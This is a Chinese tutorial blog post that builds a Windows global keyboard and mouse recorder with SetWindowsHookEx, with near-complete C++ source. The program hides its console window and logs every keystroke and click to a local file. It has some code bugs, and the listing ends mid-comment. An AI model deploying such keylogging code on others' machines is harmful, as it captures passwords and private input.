实现简单全局键盘、鼠标记录器

阅读量202995

|评论2

|

发布时间 : 2021-11-01 10:30:29

 

记一次通过HOOK实现简单的全局键盘、鼠标记录器

0、说明1、SetWindowsHookEx函数介绍

(1)第一个参数

(2)第二个参数

(3)第三个参数

(4)第四个参数

2、设置全局钩子获取消息队列中的消息

(1)写在main函数之前

(2)安装钩子

(3)获取消息队列中的消息

(4)设置钩子过程函数

3、键盘钩子过程函数

(1)键盘钩子过程函数的参数

(2)KBDLLHOOKSTRUCT结构体

(3)识别大小写或特殊字符

(4)记录按键时间和按键状态

(5)将按键信息记录到文件里

(6)拦截所有按键消息,按F1键卸载钩子解除拦截

4、鼠标钩子过程函数

(1)键盘钩子过程函数的参数

(2)MSLLHOOKSTRUCT结构体

(3)识别鼠标按键消息

(4)拦截鼠标按键消息,记录到文件

5、总结

6、演示效果

7、所有源码

7、参考文章

 

0、说明

记录一次利用SetWindowsHookEx这个API设置全局键盘、鼠标钩子的过程。

这个钩子是直接在写在exe里面,没有写在dll里。通过消息循环,钩子会直接截获消息队列中的消息,执行钩子对应的过程函数。

相当于基于windows消息机制的消息Hook

最后效果是:

  1. 拦截全局键盘,识别大小写和特殊字符,(不响应键盘所有按键)。
  2. 鼠标点击消息,识别左右按键,不拦截鼠标移动消息,(鼠标可以正常移动,无法响应点击)。
  3. 将按键消息和鼠标点击消息记录在文件里。
  4. 直到按下F1键时,卸载全局键盘、鼠标钩子,所有恢复正常。

当然,也可以不拦截消息,只做一个消息监视器,监视所有消息。

环境:Win10

编译器:VS2019

 

1、SetWindowsHookEx函数介绍

微软官方文档:SetWindowsHookEx

//HHOOK是设定的钩子句柄,一般定义为全局变量。
HHOOKSetWindowsHookExA(
[in] intidHook,
[in] HOOKPROClpfn,
[in] HINSTANCEhmod,
[in] DWORDdwThreadId
);

(1)第一个参数

idHook代表代表设置钩子的类型,比如键盘钩子、鼠标钩子、消息钩子等,微软给了宏定义,以下列几个常用的

宏含义
WH_KEYBOARD 钩取键盘输入消息
WH_KEYBOARD_LL 钩取低级键盘输入消息
WH_MOUSE 钩取鼠标输入消息
WH_MOUSE_LL 钩取低级鼠标输入消息
WH_MSGFILTER 监视一些窗口控件交互的消息(对话框、菜单、滚动条等)
WH_GETMESSAGE 钩取所有从消息队列出来的消息

我们要制作的钩子类型就是WH_KEYBOARD_LL、和WH_MOUSE_LL,(如果是在dll中就得使用WH_KEYBOARDWH_MOUSE)。

(2)第二个参数

lpfn代表钩子的过程函数指针,钩子的过程函数类型是HOOKPROC,微软有官方解释:

微软官方文档:HOOKPROC

HOOKPROCHookproc;
​
LRESULTHookproc(
intcode,
[in] WPARAMwParam,
[in] LPARAMlParam
)

钩子过程函数类型大概是固定的,三个参数,记录消息信息,但重点是,不同的钩子类型,也对应不同的参数用法。(下面的键盘钩子过程函数、鼠标钩子过程函数会分别展开讲解。)

(3)第三个参数

hmod指向一般指向过程函数所在模块的句柄,对于本钩子而言,就是自己模块的句柄,即:

GetModuleHandle(NULL)

(4)第四个参数

dwThreadId代表需要勾住的特定线程的ID。

对于桌面应用程序,如果设置为NULL,则挂钩过程与调用线程在同一桌面上运行的所有现有线程相关联,即设置为NULL代表全局钩子。

2、设置全局钩子获取消息队列中的消息

(1)写在main函数之前

因为我写的钩子是直接写到exe里面,所以下面有声明全局变量和一些函数声明写在main函数之前。

#define _CRT_SECURE_NO_DEPRECATE//屏蔽VS的一些安全警告。。。
​
//预编译,让控制台窗口程序,不显示控制台窗口,直接后台运行。。。
#pragma comment(linker, "/subsystem:\"windows\"   /entry:\"mainCRTStartup\"")
​
#include<Windows.h>
#include <stdio.h>
#include <iostream>
​
​
​
//全局键盘Hook句柄
HHOOKhKeyboardHook;
​
//全局鼠标hook句柄
HHOOKhMouseHook;
​
//安装钩子hook的函数
BOOLHookKeyBoardProc();
​
//记录Shift消息
BOOLbShift=FALSE;
​
​
//表示按键F1即卸载钩子
charexitKey[20] ="WM_KEYUP_[F1]";
​
//键盘钩子过程函数
LRESULTCALLBACKKeyBoardProc(intnCode, WPARAMwParam, LPARAMlParam);
//鼠标钩子键盘函数
LRESULTCALLBACKMouseCursorProc(intnCode, WPARAMwParam, LPARAMlParam);
​
//根据钩子过程函数的参数消息,返回按键的字符(大小写、特殊字符)
//参数1:按键虚拟码,即键盘上每个按键对应一个虚拟码,不区分大小写,微软官方文档:https://docs.microsoft.com/zh-cn/windows/win32/inputdev/virtual-key-codes
//参数2:是否按下大写按键,TRUE代表按下
//参数3:是否按住shift按键,TRUE代表正按住
//参数4:函数返回的按键字符,存储在Out指针指向的内存。
//返回值:无
voidHookCode(DWORDcode, BOOLcaps, BOOLshift ,char*Out);
​
//将记录的键盘、鼠标信息写入文件
BOOLWriteMessageToFile(char*Date_Key, intlen);

(2)安装钩子

然后在主进程里安装钩子。

//安装键盘钩子
hKeyboardHook=SetWindowsHookExA(
WH_KEYBOARD_LL,//Installs a hook procedure that monitors low-level keyboard input events.
KeyBoardProc, //键盘钩子的过程函数
GetModuleHandle(NULL),//指向一般指向过程函数所在模块的句柄
NULL//代表需要勾住的特定线程的ID,NULL代表全局钩子
  );
​
//安装鼠标钩子
hMouseHook=SetWindowsHookExA(
WH_MOUSE_LL,//Installs a hook procedure that monitors low-level mouse input events.
MouseCursorProc, //鼠标钩子的过程函数
GetModuleHandle(NULL), //指向一般指向过程函数所在模块的句柄
NULL//代表需要勾住的特定线程的ID,NULL代表全局钩子
  );//安装

(3)获取消息队列中的消息

当全局钩子设定好,我们要主动去系统消息队列中获取消息。

MSGMsg{};
while (GetMessage(&Msg, NULL, 0, 0) >0) {
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}

因为钩子函数特性,如果写在主程序exe里,搭配这个消息循环,这时所有消息会优先通过提前安装的钩子,通过钩子的过程函数,可以处理这个消息,并决定这个消息是否传递给其他窗口过程函数。

(4)设置钩子过程函数

这里给出钩子过程函数框架:微软官方文档:HOOKPROC

LRESULTCALLBACKHookProcedureFunc(intnCode, WPARAMwParam, LPARAMlParam) {

printf("Hello!HOOK Procedure Function!\n");
return0;
//return 1;
//return CallNextHookEx
}

注意返回值,根据规定,

非零就是将钩子截获的特定类型消息不传递给窗口过程函数,即直接拦截。

为零就继续传递窗口过程函数处理,即只是监视。

但如果存在相同类型的钩子链,可以通过

return CallNextHookEx

来传递截获的消息传给钩子链中的下一个钩子再做处理,即向下传递钩取的消息,但要注意,这样的话,过程函数的返回值也会通过钩子链向上传递,影响消息是否传被拦截还是监视。

此时钩子已经安装好了,已经可以实现简单的监视功能,所有我们符合我们设置类型的消息会优先被我们的钩子函数处理。

下面就是完善钩子的过程函数,对截获的消息进行处理,实现键盘、鼠标消息记录。

 

3、键盘钩子过程函数

//安装键盘钩子
hKeyboardHook=SetWindowsHookExA(WH_KEYBOARD_LL, KeyBoardProc, GetModuleHandle(NULL),NULL );

当第一个参数钩子类型设置为WH_KEYBOARD_LL时,第四个参数为NULL时,代表设置的钩子为全局键盘钩子。

此时被拦截的消息表示为:按键DOWN、按键UP。(即一个按键被按下产生一个消息,放开按键又产生一个消息)

(1)键盘钩子过程函数的参数

此时键盘钩子对应的窗口过程函数:微软官方:LowLevelKeyboardProc 回调函数

LRESULTCALLBACKKeyBoardProc(intnCode, WPARAMwParam, LPARAMlParam) {
return1;//代表拦截消息
}

第一个参数nCode一般记录被此钩子拦截的消息的次数。重点在于后面两个参数

第二个参数代表windows消息:WM_KEYDOWNWM_KEYUP,分别代表键盘按键按下和放开。

第三个参数指向KBDLLHOOKSTRUCT结构的指针,结构体指针。

(2)KBDLLHOOKSTRUCT结构体

typedefstructtagKBDLLHOOKSTRUCT {
DWORDvkCode;//虚拟键码,1~254范围的值
DWORDscanCode;
DWORDflags;
DWORDtime;
ULONG_PTRdwExtraInfo;
} KBDLLHOOKSTRUCT, *LPKBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;

键盘钩子这里我们只需要明白这个结构体的第一个成员vkCode代表一个虚拟键码。

虚拟键码:即键盘上每一个按键都对应这一个虚拟键码。

但是虚拟键码不会区分大小写或特殊字符的情况。所以需要我们通过算法识别。

(3)识别大小写或特殊字符

一般我们使用键盘,造成大小写差异的按键就是CapsLkShift按键,注意Shift有左右两个。

关于CapsLk按键,通过下面获取CapsLk状态,是否开启大写。

SHORTcapsShort=GetKeyState(VK_CAPITAL);
BOOLcaps=FALSE;  // 默认大写关闭
if (capsShort>0)
{
// 如果大于0,则大写键按下,说明开启大写;反之小写
caps=TRUE;
}

关于Shift按键,通过下面获取Shift按键状态,是否正在被按下且没有放开按键。

//VK_LSHIFT和VK_RSHIFT分别代表左右Shift按键的虚拟键码。
if (p->vkCode==VK_LSHIFT||p->vkCode==VK_RSHIFT)
{
if (wParam==WM_KEYDOWN)
  {
bShift=TRUE;
  }
elseif (wParam==WM_KEYUP)
  {
bShift=FALSE;
  }
else
  {
bShift=FALSE;
  }
}

然后通过算法HookCode子函数,来识别按键是否大小写或特殊字符

PKBDLLHOOKSTRUCTp= (PKBDLLHOOKSTRUCT)lParam;
HookCode(p->vkCode , caps, bShift, WM_Key);//WM_Key是自定义的数组,存储返回的字符串
​
//HookCode函数算法学习自文章末尾给的参考文章。
/********************************************************
//根据钩子过程函数的参数消息,返回按键的字符(大小写、特殊字符)
//参数1:按键虚拟码,即键盘上每个按键对应一个虚拟码,不区分大小写,微软官方文档:https://docs.microsoft.com/zh-cn/windows/win32/inputdev/virtual-key-codes
//参数2:是否按下大写按键,TRUE代表按下
//参数3:是否按住shift按键,TRUE代表正按住
//参数4:函数返回的按键字符,存储在Out指针指向的内存。
//返回值:无
*********************************************************/
voidHookCode(DWORDcode, BOOLcaps, BOOLshift, char*Out)
{
std::stringkey;
switch (code) // SWITCH ON INT
  {
// Char keys for ASCI
// No VM Def in header
case0x41: key=caps? (shift?"a" : "A") : (shift?"A" : "a"); break;
case0x42: key=caps? (shift?"b" : "B") : (shift?"B" : "b"); break;
case0x43: key=caps? (shift?"c" : "C") : (shift?"C" : "c"); break;
case0x44: key=caps? (shift?"d" : "D") : (shift?"D" : "d"); break;
case0x45: key=caps? (shift?"e" : "E") : (shift?"E" : "e"); break;
case0x46: key=caps? (shift?"f" : "F") : (shift?"F" : "f"); break;
case0x47: key=caps? (shift?"g" : "G") : (shift?"G" : "g"); break;
case0x48: key=caps? (shift?"h" : "H") : (shift?"H" : "h"); break;
case0x49: key=caps? (shift?"i" : "I") : (shift?"I" : "i"); break;
case0x4A: key=caps? (shift?"j" : "J") : (shift?"J" : "j"); break;
case0x4B: key=caps? (shift?"k" : "K") : (shift?"K" : "k"); break;
case0x4C: key=caps? (shift?"l" : "L") : (shift?"L" : "l"); break;
case0x4D: key=caps? (shift?"m" : "M") : (shift?"M" : "m"); break;
case0x4E: key=caps? (shift?"n" : "N") : (shift?"N" : "n"); break;
case0x4F: key=caps? (shift?"o" : "O") : (shift?"O" : "o"); break;
case0x50: key=caps? (shift?"p" : "P") : (shift?"P" : "p"); break;
case0x51: key=caps? (shift?"q" : "Q") : (shift?"Q" : "q"); break;
case0x52: key=caps? (shift?"r" : "R") : (shift?"R" : "r"); break;
case0x53: key=caps? (shift?"s" : "S") : (shift?"S" : "s"); break;
case0x54: key=caps? (shift?"t" : "T") : (shift?"T" : "t"); break;
case0x55: key=caps? (shift?"u" : "U") : (shift?"U" : "u"); break;
case0x56: key=caps? (shift?"v" : "V") : (shift?"V" : "v"); break;
case0x57: key=caps? (shift?"w" : "W") : (shift?"W" : "w"); break;
case0x58: key=caps? (shift?"x" : "X") : (shift?"X" : "x"); break;
case0x59: key=caps? (shift?"y" : "Y") : (shift?"Y" : "y"); break;
case0x5A: key=caps? (shift?"z" : "Z") : (shift?"Z" : "z"); break;
// Sleep Key
caseVK_SLEEP: key="[SLEEP]"; break;
// Num Keyboard
caseVK_NUMPAD0:  key="0"; break;
caseVK_NUMPAD1:  key="1"; break;
caseVK_NUMPAD2: key="2"; break;
caseVK_NUMPAD3:  key="3"; break;
caseVK_NUMPAD4:  key="4"; break;
caseVK_NUMPAD5:  key="5"; break;
caseVK_NUMPAD6:  key="6"; break;
caseVK_NUMPAD7:  key="7"; break;
caseVK_NUMPAD8:  key="8"; break;
caseVK_NUMPAD9:  key="9"; break;
caseVK_MULTIPLY: key="*"; break;
caseVK_ADD:      key="+"; break;
caseVK_SEPARATOR: key="-"; break;
caseVK_SUBTRACT: key="-"; break;
caseVK_DECIMAL:  key="."; break;
caseVK_DIVIDE:   key="/"; break;
// Function Keys
caseVK_F1:  key="[F1]"; break;
caseVK_F2:  key="[F2]"; break;
caseVK_F3:  key="[F3]"; break;
caseVK_F4:  key="[F4]"; break;
caseVK_F5:  key="[F5]"; break;
caseVK_F6:  key="[F6]"; break;
caseVK_F7:  key="[F7]"; break;
caseVK_F8:  key="[F8]"; break;
caseVK_F9:  key="[F9]"; break;
caseVK_F10:  key="[F10]"; break;
caseVK_F11:  key="[F11]"; break;
caseVK_F12:  key="[F12]"; break;
caseVK_F13:  key="[F13]"; break;
caseVK_F14:  key="[F14]"; break;
caseVK_F15:  key="[F15]"; break;
caseVK_F16:  key="[F16]"; break;
caseVK_F17:  key="[F17]"; break;
caseVK_F18:  key="[F18]"; break;
caseVK_F19:  key="[F19]"; break;
caseVK_F20:  key="[F20]"; break;
caseVK_F21:  key="[F22]"; break;
caseVK_F22:  key="[F23]"; break;
caseVK_F23:  key="[F24]"; break;
caseVK_F24:  key="[F25]"; break;
// Keys
caseVK_NUMLOCK: key="[NUM-LOCK]"; break;
caseVK_SCROLL:  key="[SCROLL-LOCK]"; break;
caseVK_BACK:    key="[BACK]"; break;
caseVK_TAB:     key="[TAB]"; break;
caseVK_CLEAR:   key="[CLEAR]"; break;
caseVK_RETURN:  key="[ENTER]"; break;
caseVK_SHIFT:   key="[SHIFT]"; break;
caseVK_CONTROL: key="[CTRL]"; break;
caseVK_MENU:    key="[ALT]"; break;
caseVK_PAUSE:   key="[PAUSE]"; break;
caseVK_CAPITAL: key="[CAP-LOCK]"; break;
caseVK_ESCAPE:  key="[ESC]"; break;
caseVK_SPACE:   key="[SPACE]"; break;
caseVK_PRIOR:   key="[PAGEUP]"; break;
caseVK_NEXT:    key="[PAGEDOWN]"; break;
caseVK_END:     key="[END]"; break;
caseVK_HOME:    key="[HOME]"; break;
caseVK_LEFT:    key="[LEFT]"; break;
caseVK_UP:      key="[UP]"; break;
caseVK_RIGHT:   key="[RIGHT]"; break;
caseVK_DOWN:    key="[DOWN]"; break;
caseVK_SELECT:  key="[SELECT]"; break;
caseVK_PRINT:   key="[PRINT]"; break;
caseVK_SNAPSHOT: key="[PRTSCRN]"; break;
caseVK_INSERT:  key="[INS]"; break;
caseVK_DELETE:  key="[DEL]"; break;
caseVK_HELP:    key="[HELP]"; break;
// Number Keys with shift
case0x30:  key=shift?"!" : "1"; break;
case0x31:  key=shift?"@" : "2"; break;
case0x32:  key=shift?"#" : "3"; break;
case0x33:  key=shift?"$" : "4"; break;
case0x34:  key=shift?"%" : "5"; break;
case0x35:  key=shift?"^" : "6"; break;
case0x36:  key=shift?"&" : "7"; break;
case0x37:  key=shift?"*" : "8"; break;
case0x38:  key=shift?"(" : "9"; break;
case0x39:  key=shift?")" : "0"; break;
// Windows Keys
caseVK_LWIN:     key="[WIN]"; break;
caseVK_RWIN:     key="[WIN]"; break;
caseVK_LSHIFT:   key="[SHIFT]"; break;
caseVK_RSHIFT:   key="[SHIFT]"; break;
caseVK_LCONTROL: key="[CTRL]"; break;
caseVK_RCONTROL: key="[CTRL]"; break;
// OEM Keys with shift
caseVK_OEM_1:      key=shift?":" : ";"; break;
caseVK_OEM_PLUS:   key=shift?"+" : "="; break;
caseVK_OEM_COMMA:  key=shift?"<" : ","; break;
caseVK_OEM_MINUS:  key=shift?"_" : "-"; break;
caseVK_OEM_PERIOD: key=shift?">" : "."; break;
caseVK_OEM_2:      key=shift?"?" : "/"; break;
caseVK_OEM_3:      key=shift?"~" : "`"; break;
caseVK_OEM_4:      key=shift?"{" : "["; break;
caseVK_OEM_5:      key=shift?"\\" : "|"; break;
caseVK_OEM_6:      key=shift?"}" : "]"; break;
caseVK_OEM_7:      key=shift?"'" : "'"; break; //TODO: Escape this char: "
// Action Keys
caseVK_PLAY:       key="[PLAY]";
caseVK_ZOOM:       key="[ZOOM]";
caseVK_OEM_CLEAR:  key="[CLEAR]";
caseVK_CANCEL:     key="[CTRL-C]";
​
default: key="[UNK-KEY]";
break;
  }
key.copy(Out+strlen(Out), key.length(), 0);
​
return ;
}

(4)记录按键时间和按键状态

char WM_Key[40] = {0};

char Date_Key[200] = { 0 };
SYSTEMTIME time;
GetLocalTime(&time);
sprintf(Date_Key, "%d-%02d-%02d %02d:%02d:%02d\t", time.wYear, time.wMonth, time.wDay, time.wHour, time.wMinute, time.wSecond);
int len = strlen(Date_Key);

if (wParam == WM_KEYDOWN)
{
sprintf(WM_Key, "%s", "WM_KEYDOWN_");
}
else {
sprintf(WM_Key, "%s", "WM_KEYUP_");
}

HookCode(p->vkCode , caps, bShift, WM_Key);

strcpy(Date_Key+strlen(Date_Key), WM_Key);

len = strlen(Date_Key);
Date_Key[len] = '\n';
Date_Key[len+1] = 0;

(5)将按键信息记录到文件里

//将消息记录写入文件
if (!WriteMessageToFile(Date_Key, len+1)) {
exit(0);
}

/********************************************************
函数作用:将字符消息写入对应文件。
返回值:是否写入成功acq
*********************************************************/
BOOL WriteMessageToFile(char* Date_Key, int len) {

HANDLE hFile = CreateFileA(
"./record.txt",
GENERIC_WRITE | GENERIC_READ,
0,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
);
if (hFile == INVALID_HANDLE_VALUE) {
MessageBox(NULL, L"open file failed!", L"tip", NULL);
return FALSE;
}
SetFilePointer(hFile, NULL, NULL, FILE_END);
DWORD dwWrited = 0;
WriteFile(hFile, Date_Key, len , &dwWrited, NULL);
CloseHandle(hFile);

return TRUE;
}

(6)拦截所有按键消息,按F1键卸载钩子解除拦截

前面说过,如果安装的钩子要拦截消息,那么钩子的过程函数返回值就的是一个非零的值。

所以我们令钩子的过程函数return 1

然后设置一个按键表示手动卸载钩子,解除拦截。

//表示按键F1即卸载钩子
charexitKey[20] ="WM_KEYUP_[F1]";
if ( !memcmp(exitKey, WM_Key,strlen(exitKey) ) ) {
​
UnhookWindowsHookEx(hKeyboardHook);//卸载键盘钩子
UnhookWindowsHookEx(hMouseHook);//卸载鼠标钩子
  ::MessageBox(NULL, L"KeyBoardHook、MouseHook unmounted!", L"Tip", NULL);
exit(0);
}

以上就是键盘钩子过程函数的设定了。

 

4、鼠标钩子过程函数

//安装鼠标钩子
hMouseHook=SetWindowsHookExA(WH_MOUSE_LL, MouseCursorProc, GetModuleHandle(NULL), NULL);

当第一个参数钩子类型设置为WH_MOUSE_LL时,第四个参数为NULL时,代表设置的钩子为全局键盘钩子。

此时被拦截的消息表示为:鼠标上按键的按下和放开。

鼠标上的按键可以有很多,但是我们这个钩子只是简单识别鼠标左键、右键的按下和放开即可。

(1)键盘钩子过程函数的参数

此时鼠标钩子对应的窗口过程函数:微软官方:LowLevelMouseProc 回调函数

LRESULTCALLBACKMouseCursorProc(intnCode, WPARAMwParam, LPARAMlParam) {
return1;//代表拦截消息
}

第一个参数nCode一般记录被此钩子拦截的消息的次数。重点在于后面两个参数

第二个参数代表windows消息包含鼠标按键和鼠标移动:WM_LBUTTONDOWNWM_LBUTTONUPWM_RBUTTONDOWNWM_RBUTTONUP,我们着重这四个消息,分别代表鼠标左键的按下、放开和右键的按下、放开。(因为我们不拦截鼠标移动消息,只拦截鼠标左右按键按下的消息。)

第三个参数指向MSLLHOOKSTRUCT结构的指针,结构体指针。

(2)MSLLHOOKSTRUCT结构体

typedefstructtagMSLLHOOKSTRUCT {
POINThttps://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms644985(v=vs.85);//POINT结构体,pt->x、pt->y记录鼠标的x、y坐标
DWORDmouseData;
DWORDflags;
DWORDtime;
ULONG_PTRdwExtraInfo;
} MSLLHOOKSTRUCT, *LPMSLLHOOKSTRUCT, *PMSLLHOOKSTRUCT;

鼠标钩子这里我们只需要明白这个结构体的第一个成员pt,指向一个POINT结构。

用于记录鼠标发出点击事件时的坐标。

(3)识别鼠标按键消息

//同样是记录消息产生时间
SYSTEMTIME time;
GetLocalTime(&time);
char Date_Key[200] = { 0 };
sprintf(Date_Key, "%d-%02d-%02d %02d:%02d:%02d\t", time.wYear, time.wMonth, time.wDay, time.wHour, time.wMinute, time.wSecond);


switch (wParam)
{
case WM_LBUTTONDOWN:
strcat(Date_Key, "WM_L_BUTTON_DOWN");
break;
case WM_LBUTTONUP:
strcat(Date_Key, "WM_L_BUTTON_UP");
break;
case WM_RBUTTONDOWN:
strcat(Date_Key, "WM_R_BUTTON_DOWN");
break;
case WM_RBUTTONUP:
strcat(Date_Key, "WM_R_BUTTON_UP");
break;
default:
return 0;
}

这里default: return 0;表示,如果鼠标钩子钩取的鼠标消息,不是我们预定的四个鼠标按键消息,即是鼠标移动的消息,那么就将钩子过程函数return 0;,代表将这个鼠标移动的消息正常传递给窗口过程函数,即不拦截。

(4)拦截鼠标按键消息,记录到文件

intlen=strlen(Date_Key);
sprintf(Date_Key+len, " pX=%d,pY=%d\n", p->pt.x, p->pt.y);
len=strlen(Date_Key);
​
//将消息记录写入文件
if (!WriteMessageToFile(Date_Key, len)) {
exit(0);
  }
​
return1;

这里是钩子过程函数结尾,所以直接return 1;代表钩子拦截消息。

以上就是钩子函数的过程函数设定了。

 

5、总结

根据前面设定键盘钩子、鼠标钩子,我们可以发现相似点。

不管是键盘钩子的过程函数:微软官方:LowLevelKeyboardProc 回调函数

还是鼠标钩子的过程函数:微软官方:LowLevelMouseProc 回调函数

其实函数类型都是一样的,只是参数的用法不同而已。包括第二个参数wParam都是代表windows消息类型,第三个参数指向的结构体,虽然定义不同,但可以发现,本质是一样的,也就是可以说他们就是一样的结构体,只是当我们设定不同类型钩子的时候,这个结构体成员代表的意义也不同。

我们再回头去看微软官方文档:SetWindowsHookEx,可以发现,说这个API第二个参数是函数指针,类型为HOOKPROC

那么就再去查一下HOOKPROC,果然:微软官方文档:HOOKPROC 回调函数,告诉我们,这个函数的第三个参数是指向CWPRETSTRUCT结构的指针。

就发现,键盘钩子指向的KBDLLHOOKSTRUCT结构和鼠标钩子指向的MSLLHOOKSTRUCT结构本质上都是CWPRETSTRUCT结构。

 

6、演示效果

执行效果,因为不显示控制台窗口,所以执行后没有任何显示,但是此时键盘、鼠标按键已经被拦截失效,直到按F1键同时卸载鼠标、键盘钩子,恢复正常,拦截的消息记录在exe同文件下生成的record.txt文件。

  1. 拦截全局键盘,识别大小写和特殊字符,(不响应键盘所有按键)。
  2. 鼠标点击消息,识别左右按键,不拦截鼠标移动消息,(鼠标可以正常移动,无法响应点击)。
  3. 将按键消息和鼠标点击消息记录在文件里。
  4. 直到按下F1键时,卸载全局键盘、鼠标钩子,所有恢复正常。

按下F1后,会弹出MessageBox提示已经卸载钩子。

然后打开record.txt文件,记录鼠标键盘按键消息。

 

7、所有源码

因为写在主程序里,所以就一个cpp文件。

//环境:Win10
//编译:VS2019,创建简单的C++空项目。
#define _CRT_SECURE_NO_DEPRECATE//屏蔽VS的一些安全警告。。。
​
//预编译,让控制台窗口程序,不显示控制台窗口,直接后台运行。。。
#pragma comment(linker, "/subsystem:\"windows\"   /entry:\"mainCRTStartup\"")
​
#include<Windows.h>
#include <stdio.h>
#include <iostream>
​
​
​
//全局键盘Hook句柄
HHOOKhKeyboardHook;
​
//全局鼠标hook句柄
HHOOKhMouseHook;
​
//安装钩子hook的函数
BOOLHookKeyBoardProc();
​
//记录Shift消息
BOOLbShift=FALSE;
​
​
//表示按键F1即卸载钩子
charexitKey[20] ="WM_KEYUP_[F1]";
​
//键盘钩子过程函数
LRESULTCALLBACKKeyBoardProc(intnCode, WPARAMwParam, LPARAMlParam);
//鼠标钩子键盘函数
LRESULTCALLBACKMouseCursorProc(intnCode, WPARAMwParam, LPARAMlParam);
​
//根据钩子过程函数的参数消息,返回按键的字符(大小写、特殊字符)
//参数1:按键虚拟码,即键盘上每个按键对应一个虚拟码,不区分大小写,微软官方文档:https://docs.microsoft.com/zh-cn/windows/win32/inputdev/virtual-key-codes
//参数2:是否按下大写按键,TRUE代表按下
//参数3:是否按住shift按键,TRUE代表正按住
//参数4:函数返回的按键字符,存储在Out指针指向的内存。
//返回值:无
voidHookCode(DWORDcode, BOOLcaps, BOOLshift ,char*Out);
​
//将记录的键盘、鼠标信息写入文件
BOOLWriteMessageToFile(char*Date_Key, intlen);
​
//int KeyN = 0;
​
intmain() {
​
HookKeyBoardProc();

return0;
}
​
/********************************************************
函数作用:设置键盘钩子
返回值:是否hook成功
*********************************************************/
BOOLHookKeyBoardProc() {
​
hKeyboardHook=SetWindowsHookExA(WH_KEYBOARD_LL, KeyBoardProc, GetModuleHandle(NULL),NULL );
hMouseHook=SetWindowsHookExA(WH_MOUSE_LL, MouseCursorProc, GetModuleHandle(NULL), NULL);
//hMouseHook = (HHOOK)1;

​
if (!(hKeyboardHook&&hMouseHook )) {
//printf("Failed to SetWindowsHookEx!\n");
//MessageBox(NULL, L"SetWindowsHookEx Failed!", L"Tip", NULL);
returnFALSE;
}
else {
//printf("Start to SetWindowsHookEx!\n");
//MessageBox(NULL, L"SetWindowsHookEx Success!", L"Tip", NULL);
​
MSGMsg{};
while (GetMessage(&Msg, NULL, 0, 0) >0) {
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
​
//Sleep(5000);
}
returnTRUE;
}
/********************************************************
函数作用:将字符消息写入对应文件。
返回值:是否写入成功acq
*********************************************************/
BOOLWriteMessageToFile(char*Date_Key, intlen) {
​
HANDLEhFile=CreateFileA(
"./record.txt",
GENERIC_WRITE|GENERIC_READ,
0,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL
  );
if (hFile==INVALID_HANDLE_VALUE) {
MessageBox(NULL, L"open file failed!", L"tip", NULL);
returnFALSE;
  }
SetFilePointer(hFile, NULL, NULL, FILE_END);
DWORDdwWrited=0;
WriteFile(hFile, Date_Key, len , &dwWrited, NULL);
CloseHandle(hFile);
​
returnTRUE;
}
​
/********************************************************
函数作用:鼠标钩子回调
返回值:是否hook成功acq
*********************************************************/
LRESULTCALLBACKMouseCursorProc(intnCode, WPARAMwParam, LPARAMlParam) {
PMSLLHOOKSTRUCTp= (PMSLLHOOKSTRUCT)lParam;
​
SYSTEMTIMEtime;
GetLocalTime(&time);
charDate_Key[200] = { 0 };
sprintf(Date_Key, "%d-%02d-%02d %02d:%02d:%02d\t", time.wYear, time.wMonth, time.wDay, time.wHour, time.wMinute, time.wSecond);
​
switch (wParam)
  {
caseWM_LBUTTONDOWN:
strcat(Date_Key, "WM_L_BUTTON_DOWN");
break;
caseWM_LBUTTONUP:
strcat(Date_Key, "WM_L_BUTTON_UP");
break;
caseWM_RBUTTONDOWN:
strcat(Date_Key, "WM_R_BUTTON_DOWN");
break;
caseWM_RBUTTONUP:
strcat(Date_Key, "WM_R_BUTTON_UP");
break;
default:
return0;
  }
intlen=strlen(Date_Key);
sprintf(Date_Key+len, " pX=%d,pY=%d\n", p->pt.x, p->pt.y);
len=strlen(Date_Key);
​
//将消息记录写入文件
if (!WriteMessageToFile(Date_Key, len)) {
exit(0);
  }
return1;
}
​
/********************************************************
函数作用:键盘钩子回调
返回值:是否hook成功acq
*********************************************************/
LRESULTCALLBACKKeyBoardProc(intnCode, WPARAMwParam, LPARAMlParam) {


PKBDLLHOOKSTRUCTp= (PKBDLLHOOKSTRUCT)lParam;
BOOLcaps=FALSE;  // 默认大写关闭
SHORTcapsShort=GetKeyState(VK_CAPITAL);
charszKey[20] = { 0 };
GetKeyNameTextA(lParam, szKey, 100);
​
if (capsShort>0)
  {
// 如果大于0,则大写键按下,说明开启大写;反之小写
caps=TRUE;
  }
if (p->vkCode==VK_LSHIFT||p->vkCode==VK_RSHIFT)
{
if (wParam==WM_KEYDOWN)
{
bShift=TRUE;
}
elseif (wParam==WM_KEYUP)
{
bShift=FALSE;
}
else
{
bShift=FALSE;
}
}
if (p->vkCode )
{
charWM_Key[40] = {0};
​
charDate_Key[200] = { 0 };
SYSTEMTIMEtime;
GetLocalTime(&time);
sprintf(Date_Key, "%d-%02d-%02d %02d:%02d:%02d\t", time.wYear, time.wMonth, time.wDay, time.wHour, time.wMinute, time.wSecond);
intlen=strlen(Date_Key);
​
if (wParam==WM_KEYDOWN)
      {
sprintf(WM_Key, "%s", "WM_KEYDOWN_");
      }
else {
sprintf(WM_Key, "%s", "WM_KEYUP_");
      }
HookCode(p->vkCode , caps, bShift, WM_Key);
​
strcpy(Date_Key+strlen(Date_Key), WM_Key);
​
len=strlen(Date_Key);
Date_Key[len] ='\n';
Date_Key[len+1] =0;
​
//将消息记录写入文件
if (!WriteMessageToFile(Date_Key, len+1)) {
exit(0);
      }

if ( !memcmp(exitKey, WM_Key,strlen(exitKey) ) ) {
​
UnhookWindowsHookEx(hKeyboardHook);
UnhookWindowsHookEx(hMouseHook);
          ::MessageBox(NULL, L"KeyBoardHook、MouseHook unmounted!", L"Tip", NULL);
exit(0);
      }
}
return1;
}
​
​
//HookCode函数算法学习自文章末尾给的参考文章。
/********************************************************
//根据钩子过程函数的参数消息,返回按键的字符(大小写、特殊字符)
//参数1:按键虚拟码,即键盘上每个按键对应一个虚拟码,不区分大小写,微软官方文档:https://docs.microsoft.com/zh-cn/windows/win32/inputdev/virtual-key-codes
//参数2:是否按下大写按键,TRUE代表按下
//参数3:是否按住shift按键,TRUE代表正按住
//参数4:函数返回的按键字符,存储在Out指针指向的内存。
